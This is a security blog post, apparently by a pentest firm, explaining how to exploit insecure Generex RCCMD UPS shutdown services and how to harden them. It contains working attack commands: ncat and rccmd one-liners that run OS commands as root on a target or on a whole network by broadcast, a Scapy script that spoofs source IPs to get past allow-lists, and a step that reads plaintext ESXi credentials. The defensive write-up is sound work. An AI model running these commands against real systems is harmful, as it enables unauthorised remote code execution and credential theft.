Exploiting insecure RCCMD installations

Owning systems through remote control software

Generex RCCMD (Remote Control Command) is an application that allows the UPS (uninterruptible power supply) to gracefully shutdown critical systems before it runs out of power. It is quite popular in Germany, especially in small and midsize companies. In recent years, MOGWAI LABS exploited multiple insecurely configured installations to gain RCE on critical systems, including Domain controllers.

RCCMD overview

A typical installation usually contains of a UPS monitoring system/device (UPSMON) and multiple “client” systems which have the RCCMD service installed. We will focus on the RCCMD service here.

In case of a power loss within the datacenter, the UPSMON system can connect to the RCCMD clients and initiate a shutdown sequence. During this procedure it’s possible to execute OS commands/scripts on the target machines, or to send messages to the currently logged in user.

RCCMD provides installation packages for different operating systems (Linux, Windows, OSX, ESXi). The ESXi version is actually a virtual machine with a special RCCMD version that is capable to shutdown the ESXi host over SSH.

By default, RCCMD uses the following ports (the Windows installer configures firewall allow-rules for these services):

PortComment
8080/tcpWeb based management
8433/tcpWeb based management (HTTPS)
433/tcpWeb based management (HTTPS) (ESXi only)
6003/tcpRCCMD listener
6003/udpRCCMD listener
961/tcpMessage Port RCCMD for tray (Windows only)

The web interface provides access to the main system settings. This includes the scripts that are executed if the UPS sends a remote command.

The RCCMD message service protocol

The RCCMD protocol is a simple text based protocol that does not provide any form of authentication by itself. A text based client can connect to the RCCMD service, send the string “CONNECT TO RCCMD (SEND) MSG_EXECUTE”, followed by the actual command. The RCCMD protocol knowns the following commands:

CommandComment
SHUTDOWNExecute a shutdown of the remote system
EXECUTEExecute a OS command on the remote system
MSG_IDSend a predefined message to the RCCMD tray
MSG_TEXTSend a text message to the RCCMD tray
MAIL_IDSend a mail with a predefined message
MAIL_TEXTSend a email with a text message
LOG_IDAdd a predefined message to the RCCMD log
LOG_TEXTAdd a text message to the RCCMD log
WAKEUP???

The following example shows how to use ncat to send a message to the RCCMD log. The RCCMD message service does not return any response

echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT  NCAT log entry" | ncat TARGET_IP 6003

Depending on the received command, the RCCMD service will execute different scripts/batch files. These files can be configured within the web interface.

editing the RCCMD scripts within the web interface

Every RCCMD installation contains a “rccmd” binary which provides the RCCMD listener service but can also be used as a simple RCCMD client.

./rccmd -h
 rccmd may be run in listen-, or send-mode.
 listen-mode: wait for connections from rccmd sender:
 rccmd -l [options]
 options are:
 -c <file>        : read Configuration from <file>
 -d               : run as foreground process
 -bs <file>       : execute <file> if "SHUTDOWN" command is received
 -ba <file>       : execute <file> if upsman/upstcp is not alive
 -a <host>        : allow rccmd connection only from <host>
 -p <port>        : listen(/receive) on tcp(/udp) <port>
 -ac <host[:port]>: check if upsman/upstcp at <host[:port]> is alive
 -pc <port>       : check upsman/upstcp on <port>
 -rc <num>        : check is disabled after <num> unsuccessful retries
 -tc <time>       : check upsman/upstcp every <time> minutes
 -ssl             : use SSL connection

 send-mode (rccmd): send "command" to rccmd listener:
 rccmd -se "command [parameter]" -a <host[:port]> | -ab <ip-address> [options]
 -a <host[:port]> : send to rccmd at <host[:port]>
 -ab <ip-address> : send rccmd broadcast on <ip-address>
 "command" is one of:
 SHUTDOWN| EXECUTE| MSG_ID| MSG_TEXT| MAIL_ID| MAIL_TEXT| LOG_ID| LOG_TEXT
 options are:
 -p <port>        : send to rccmd on <port>
 -t <time>        : try at most <time> seconds to connect

 send-mode (upsman): check if upsman/upstcp is alive:
 rccmd -sc -a <host[:port]> [options]
 -a <host[:port]> : check upsman/upstcp at <host[:port]>
 options are:
 -p <port>        : check upsman/upstcp on <port>
 -ssl             : use SSL connection
 -sslnorec        : SSL - do not reject expired certificates
 -t <time>        : try at most <time> seconds to connect

 common options:
 -?               : display this help and exit
 -v               : display version number and exit

Exploiting insecure default installations

Exploitation of a default installation is trivial as RCCMD allows you to run arbitrary OS commands with root/SYSTEM permissions by design. The following example uses the rccmd binary to create a file with root permissions on a Linux target:

rccmd -se  "EXECUTE touch /tmp/pwn_via_RCCMD" -a TARGET_IP
05/27/2021,21:51:51, rccmd[17754]: Send Mode started
05/27/2021,21:51:51, rccmd[17754]: Trying to establish a connection to TARGET_IP ...
05/27/2021,21:51:51, rccmd[17754]: Connection established to TARGET_IP OK.
05/27/2021,21:51:51, rccmd[17754]: Send Mode stopped

Here the “ncat” version, if you don’t have the RCCMD client at your fingertips:

echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE EXECUTE touch /tmp/pwn_via_RCCMD" | ncat TARGET_IP 6003

The RCCMD listener does not return any information if the execution of the commands was successful, or the output of the executed command.

RCCMD also provides a broadcast version of the RCCMD listener, running on UDP port 6003. This allows you to attack all RCCMD instances within a network with a single command:

./rccmd -se  "EXECUTE touch /tmp/pwn_via_RCCMD" -ab BROADCAST_IP
05/27/2021,21:52:57, rccmd[18164]: Send Mode started
05/27/2021,21:52:57, rccmd[18164]: Trying to send broadcast to BROADCAST_IP ...
05/27/2021,21:52:57, rccmd[18164]: Connection established to BROADCAST_IP OK.
05/27/2021,21:52:57, rccmd[18164]: Send Mode stopped

Looting

The RCCMD web interface only provides one “admin” account, it is not possible to add additional accounts. The password of this account is stored in the file “realm.properties”, using a Linux crypt hash.

If an attacker gains access to an RCCMD ESXi system, it is a different story. The main purpose of this system is to shut down/migrate virtual machines and ESXi servers.

Screenshot of the RCCMD webinterface with the VMWARE settings

These credentials are stored in plain text, using “.creds” files located in the RCCMD root directory. The files are named after the targets hostname:

root@rccmdAppliance:/# cat /usr/rccmd/.esxi.creds

VI_SERVER = esxi
VI_USERNAME = user
VI_PASSWORD = the-password

RCCMD hardening

By default a RCCMD listener can be secured in 2 ways:

  • Restrict the source IPs that are allowed to communicate with the RCCMD listener
  • Enforce Authentication through TLS/SSL certificates

Restricting the allowed IP adresses is by far the most common hardening measure but it can also often be bypassed through the broadcast service. This service can be called with a single UDP packet, thus an attacker can easily spoof the source IP, for example by using Scapy:

from scapy.all import *

ip = IP(dst='172.16.104.2', src='172.16.104.10')
udp = UDP(sport=5555,dport=6003)
payload = b'CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT  spoofed RCCMD log entry'

packet = ip/udp/payload

send(packet)

The attacker only needs to know one of the allowed IP addresses. This is often an easy task, just scan the network for UPSMAN, RCCMD or other UPS systems to find potential candidates. Depending on the target network size, the attacker could also just try all possible IP addresses within a certain range.

The RCCMD listener can further be secured by using TLS certificates. Enabeling TLS has the nice side effect that it automatically “disables” the RCCMD broadcast version of the service, as this would require multiple packets between client and server. The web interface only provides two general options here:

Screenshot of the RCCMS TLS configuration options

The description is a bit misleading. If TLS is enabled, the client must authenticate via TLS certificate. However, as the rccmd binary can be used as a client and service at the same time, this comes with some quirks:

RCCMD expects the certificates in the file “rccmd.pem”. A default RCCMD installation already contains this file, which is world-readable and includes an outdated TLS certificate.

The certificates within the rccmd.pem file must have the following order:

  1. Public key
  2. Private key (without password)
  3. Public key of the certified authority (CA)

The servers private key can therefore be used as to authenticate to the service, and this is, form our experience, what most RCCMD administrators do.

Following an example how to create and install a certificate under a Linux RCCMD installation.

# Create a new CA, will be stored in ./demoCA
mkdir ~/rccmd-ca
cd ~/rccmd-ca
/lib/ssl/misc/CA.pl -newca


# Create and sign a new certifcate
# Key and certificate will be stored in newkey.pem and newcert.pem
/lib/ssl/misc/CA.pl -newreq-nodes
/lib/ssl/misc/CA.pl -sign

# Add the public/private key to the our new rccmd-new.pwm
openssl x509 -in newcert.pem -outform PEM > rccmd-new.pem
cat newkey.pem >> rccmd-new.pem 

# Append the public key from the CA to our rrcmd.pem
openssl x509 -in ./demoCA/cacert.pem -outform PEM >> rccmd-new.pem

# Create a backup of the original rccmd.pem
sudo cp /opt/rccmd/rccmd.pem /opt/rccmd/rccmd-backup.pem

# Replace the original rccmd.pem with out new version
sudo cp rccmd-new.pem /opt/rccmd/rccmd.pem
sudo chown root:root /opt/rccmd/rccmd.pem
sudo chmod 600 /opt/rccmd/rccmd.pem

# Please don't forget to
# enable TLS within the web configuration

# restart RCCMD service
sudo /etc/init.d/rccmd_start restart

## test the new connection from localhost
sudo /opt/rccmd/rccmd -ssl -se "LOG_TEXT TLS is working" -a 127.0.0.1

To secure a RCCMD installation, it is highly recommended to restrict the allowed IP addresses and enable TLS support. Only using TLS certificates might not be sufficient: A local attacker might be able to read the private key from the rccmd.pem file, which would still allow him to escalte his privileges to root or SYSTEM permissions.

If TLS is “to complicated”, the broadcast service should be disabled within the RCCMD configuration file (rrcmd.cfg) to prevent a potential bypass:

# Enable UDP
# Defines if we should listen for rccmd (UDP) broadcasts
# Default: true
ListenUDP=false

Thanks to Mika Baumeister on Unsplash for the title picture.